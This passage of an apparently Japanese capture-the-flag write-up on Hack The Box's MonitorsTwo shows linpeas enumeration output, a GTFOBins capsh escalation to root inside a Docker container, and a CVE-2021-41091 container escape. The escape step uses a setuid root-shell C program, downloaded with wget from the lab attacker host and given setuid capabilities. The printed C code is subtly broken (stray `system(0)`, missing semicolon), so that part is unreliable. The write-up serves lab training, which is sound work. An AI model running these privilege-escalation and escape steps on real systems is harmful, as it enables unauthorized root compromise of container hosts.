          ▀▀▄▄▄   ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▀▀▀▀▀▀
               ▀▀▀▄▄▄▄▄      ▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▀▀
                     ▀▀▀▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▀▀▀

    /---------------------------------------------------------------------------------\
    |                             Do you like PEASS?                                  |                                                                     
    |---------------------------------------------------------------------------------|                                                                     
    |         Get the latest version    :     https://github.com/sponsors/carlospolop |                                                                     
    |         Follow on Twitter         :     @carlospolopm                           |                                                                     
    |         Respect on HTB            :     SirBroccoli                             |                                                                     
    |---------------------------------------------------------------------------------|                                                                     
    |                                 Thank you!                                      |                                                                     
    \---------------------------------------------------------------------------------/                                                                     
          linpeas-ng by carlospolop                                                                                                                         
                                                                                                                                                            
ADVISORY: This script should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own computers and/or with the computer owner's permission.    '                          
                                                                                                                                                            
Linux Privesc Checklist: https://book.hacktricks.xyz/linux-hardening/linux-privilege-escalation-checklist
 LEGEND:                                                                                                                                                    
  RED/YELLOW: 95% a PE vector
  RED: You should take a look to it
  LightCyan: Users with console
  Blue: Users without console & mounted devs
  Green: Common things (users, groups, SUID/SGID, mounts, .sh scripts, cronjobs) 
  LightMagenta: Your username

 Starting linpeas. Caching Writable Folders...

                               ╔═══════════════════╗
═══════════════════════════════╣ Basic information ╠═══════════════════════════════                                                                         
                               ╚═══════════════════╝                                                                                                        
OS: Linux version 5.4.0-147-generic (buildd@lcy02-amd64-067) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1)) #164-Ubuntu SMP Tue Mar 21 14:23:17 UTC 2023
User & Groups: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Hostname: 50bca5e748b0
Writable folder: /dev/shm
[-] No network discovery capabilities (fping or ping not found)
[+] /bin/bash is available for network discovery, port scanning and port forwarding (linpeas can discover hosts, scan ports, and forward ports. Learn more with -h)


・・・省略

                      ╔════════════════════════════════════╗
══════════════════════╣ Files with Interesting Permissions ╠══════════════════════                                                                          
                      ╚════════════════════════════════════╝                                                                                           
╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid                                                                            
strace Not Found                                                                                                                                            
-rwsr-xr-x 1 root root 87K Feb  7  2020 /usr/bin/gpasswd                                                                                                    
-rwsr-xr-x 1 root root 63K Feb  7  2020 /usr/bin/passwd  --->  Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997)
-rwsr-xr-x 1 root root 52K Feb  7  2020 /usr/bin/chsh
-rwsr-xr-x 1 root root 58K Feb  7  2020 /usr/bin/chfn  --->  SuSE_9.3/10
-rwsr-xr-x 1 root root 44K Feb  7  2020 /usr/bin/newgrp  --->  HP-UX_10.20
-rwsr-xr-x 1 root root 31K Oct 14  2020 /sbin/capsh
-rwsr-xr-x 1 root root 55K Jan 20  2022 /bin/mount  --->  Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8
-rwsr-xr-x 1 root root 35K Jan 20  2022 /bin/umount  --->  BSD/Linux(08-1996)
-rwsr-xr-x 1 root root 71K Jan 20  2022 /bin/su

╔══════════╣ SGID
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid                                                                            
-rwxr-sr-x 1 root tty 35K Jan 20  2022 /usr/bin/wall                                                                                                        
-rwxr-sr-x 1 root shadow 31K Feb  7  2020 /usr/bin/expiry
-rwxr-sr-x 1 root shadow 79K Feb  7  2020 /usr/bin/chage
-rwxr-sr-x 1 root shadow 38K Aug 26  2021 /sbin/unix_chkpwd

╔══════════╣ Checking misconfigurations of ld.so
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#ld-so                                                                                    
/etc/ld.so.conf                                                                                                                                             
Content of /etc/ld.so.conf:                                                                                                                                 
include /etc/ld.so.conf.d/*.conf

/etc/ld.so.conf.d
  /etc/ld.so.conf.d/libc.conf                                                                                                                               
  - /usr/local/lib                                                                                                                                          
  /etc/ld.so.conf.d/x86_64-linux-gnu.conf
  - /usr/local/lib/x86_64-linux-gnu                                                                                                                         
  - /lib/x86_64-linux-gnu
  - /usr/lib/x86_64-linux-gnu

/etc/ld.so.preload
╔══════════╣ Capabilities                                                                                                                                   
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#capabilities                                                                             
══╣ Current shell capabilities                                                                                                                              
CapInh:  0x00000000a00425f9=cap_chown,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_audit_write,cap_setfcap
CapPrm:  0x0000000000000000=
CapEff:  0x0000000000000000=
CapBnd:  0x00000000a00425f9=cap_chown,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_audit_write,cap_setfcap
CapAmb:  0x0000000000000000=

══╣ Parent process capabilities
CapInh:  0x00000000a00425f9=cap_chown,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_audit_write,cap_setfcap
CapPrm:  0x0000000000000000=
CapEff:  0x0000000000000000=
CapBnd:  0x00000000a00425f9=cap_chown,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_audit_write,cap_setfcap
CapAmb:  0x0000000000000000=


Files with capabilities (limited to 50):

╔══════════╣ Users with capabilities
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#capabilities                                                                             
                                                                                                                                                            
╔══════════╣ Files with ACLs (limited to 50)
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#acls                                                                                     
files with acls in searched folders Not Found                                                                                                               
                                                                                                                                                            
╔══════════╣ Files (scripts) in /etc/profile.d/
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#profiles-files                                                                           
total 8                                                                                                                                                     
drwxr-xr-x 2 root root 4096 Mar 22 13:21 .
drwxr-xr-x 1 root root 4096 Mar 21 10:49 ..

╔══════════╣ Permissions in init, init.d, systemd, and rc.d
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#init-init-d-systemd-and-rc-d                                                             
                                                                                                                                                            
═╣ Hashes inside passwd file? ........... No
═╣ Writable passwd file? ................ No                                                                                                                
═╣ Credentials in fstab/mtab? ........... No                                                                                                                
═╣ Can I read shadow files? ............. No                                                                                                                
═╣ Can I read shadow plists? ............ No                                                                                                                
═╣ Can I write shadow plists? ........... No                                                                                                                
═╣ Can I read opasswd file? ............. No                                                                                                                
═╣ Can I write in network-scripts? ...... No                                                                                                                
═╣ Can I read root folder? .............. No                                                                                                                
                                                                                                                                                            
╔══════════╣ Searching root files in home dirs (limit 30)
/home/                                                                                                                                                      
/root/
/var/www

╔══════════╣ Searching folders owned by me containing others files on it (limit 100)
                                                                                                                                                            
╔══════════╣ Readable files belonging to root and readable by me but not world readable
                                                                                                                                                            
╔══════════╣ Interesting writable files owned by me or writable by everyone (not in Home) (max 500)
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files                                                                           
/dev/mqueue                                                                                                                                                 
/dev/shm
/run/apache2
/run/lock
/run/lock/apache2
/tmp
/tmp/linpeas.sh
/tmp/lol.sh
/tmp/sess_00d14c11f312c22eca9a3b37a5f243de
/tmp/sess_00f9a092efc131b08fa6f8ec3eee853d
/tmp/sess_012870d7abba2efff0de1481eff15f20
#)You_can_write_even_more_files_inside_last_directory

/var/cache/apache2/mod_cache_disk
/var/log/apache2
/var/tmp

╔══════════╣ Interesting GROUP writable files (not in Home) (max 500)
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files                                                                           
  Group www-data:                                                                                                                                           
/var/log/apache2                                                                                                                                            
/run/lock/apache2
/run/apache2

・・・省略
```
SUIDの項目を見てみると色々と権限がついているのがわかる。その中で以下GTFOに記載のある`capsh`を試してみようと思う。
※ここら辺はGTFOを調べてみるとか、そのコマンドを試してみるとかして実際にやってみて判断したほうがいい。

https://gtfobins.github.io/gtfobins/capsh/

### capsh

```bash
/sbin/capsh --gid=0 --uid=0 --
```
上記実行後に権限を確認する。
```bash
whoami
root
```
OK！Dockerでの権限昇格成功！

## Exploit実行
後は`CVE-2021-41091`で確認したサイトのExploitを実行するだけだじぇ。
※ここら辺の手法に関しては、以下の技術書『コンテナセキュリティ　コンテナ化されたアプリケーションを保護する要素技術』を読んでいればExploitが何をしてるかスラスラわかったりするのでお勧め

https://book.impress.co.jp/books/1122101051

以下`setuid.c`を作成
```c:setuid.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(void) {
    setuid(0);
    system(0);

    system("/bin/bash")

    return 0;
}
```
このファイルをDockerコンテナ内部に転送し、コンパイルする。
```bash
cd /tmp
wget http://10.10.14.3/setuid.c
--2023-05-01 09:40:43--  http://10.10.14.3/setuid.c
Connecting to 10.10.14.3:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 145 [text/x-csrc]
Saving to: 'setuid.c'

     0K                                                       100% 15.9M=0s

2023-05-01 09:40:43 (15.9 MB/s) - 'setuid.c' saved [145/145]

gcc setuid.c -o setuid
```
`capability`確認
```bash
capsh --print
Current: cap_chown,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_audit_write,cap_setfcap=eip
Bounding set =cap_chown,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_audit_write,cap_setfcap
Ambient set =
Current IAB: cap_chown,!cap_dac_override,!cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,!cap_linux_immutable,cap_net_bind_service,!cap_net_broadcast,!cap_net_admin,cap_net_raw,!cap_ipc_lock,!cap_ipc_owner,!cap_sys_module,!cap_sys_rawio,cap_sys_chroot,!cap_sys_ptrace,!cap_sys_pacct,!cap_sys_admin,!cap_sys_boot,!cap_sys_nice,!cap_sys_resource,!cap_sys_time,!cap_sys_tty_config,!cap_mknod,!cap_lease,cap_audit_write,!cap_audit_control,cap_setfcap,!cap_mac_override,!cap_mac_admin,!cap_syslog,!cap_wake_alarm,!cap_block_suspend,!cap_audit_read
Securebits: 00/0x0/1'b0
 secure-noroot: no (unlocked)
 secure-no-suid-fixup: no (unlocked)
 secure-keep-caps: no (unlocked)
 secure-no-ambient-raise: no (unlocked)
uid=0(root) euid=0(root)
gid=0(root)
groups=33(www-data)
Guessed mode: UNCERTAIN (0)
```
セッティングを行う。
```bash
setcap cap_setgid,cap_setuid=eip setuid
```
確認！！
```
getcap setuid
setuid cap_setgid,cap_setuid=eip
```
Dockerコンテナでのセッティングが完了したのでホスト環境でExploitを実行します！！！
```bash
marcus@monitorstwo:/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/tmp$ ./setuid
```
![6.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/63b1e24f-5395-e719-d3a5-896c1cd6922b.png)
権限昇格完了！！！

# まとめ
![7.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2036848/55413df7-5f78-e125-88ef-082f8d5ab586.png)

これで特権昇格に成功し、Root権限奪取に成功しました。
今回は特権昇格が異様に難しいと思ったら全然違うルートで攻めていくという、嵌められてしまったパターンでした。

難しかったぁ～
今回もセキュリティエンジニアの皆さんの助けになればなと思います。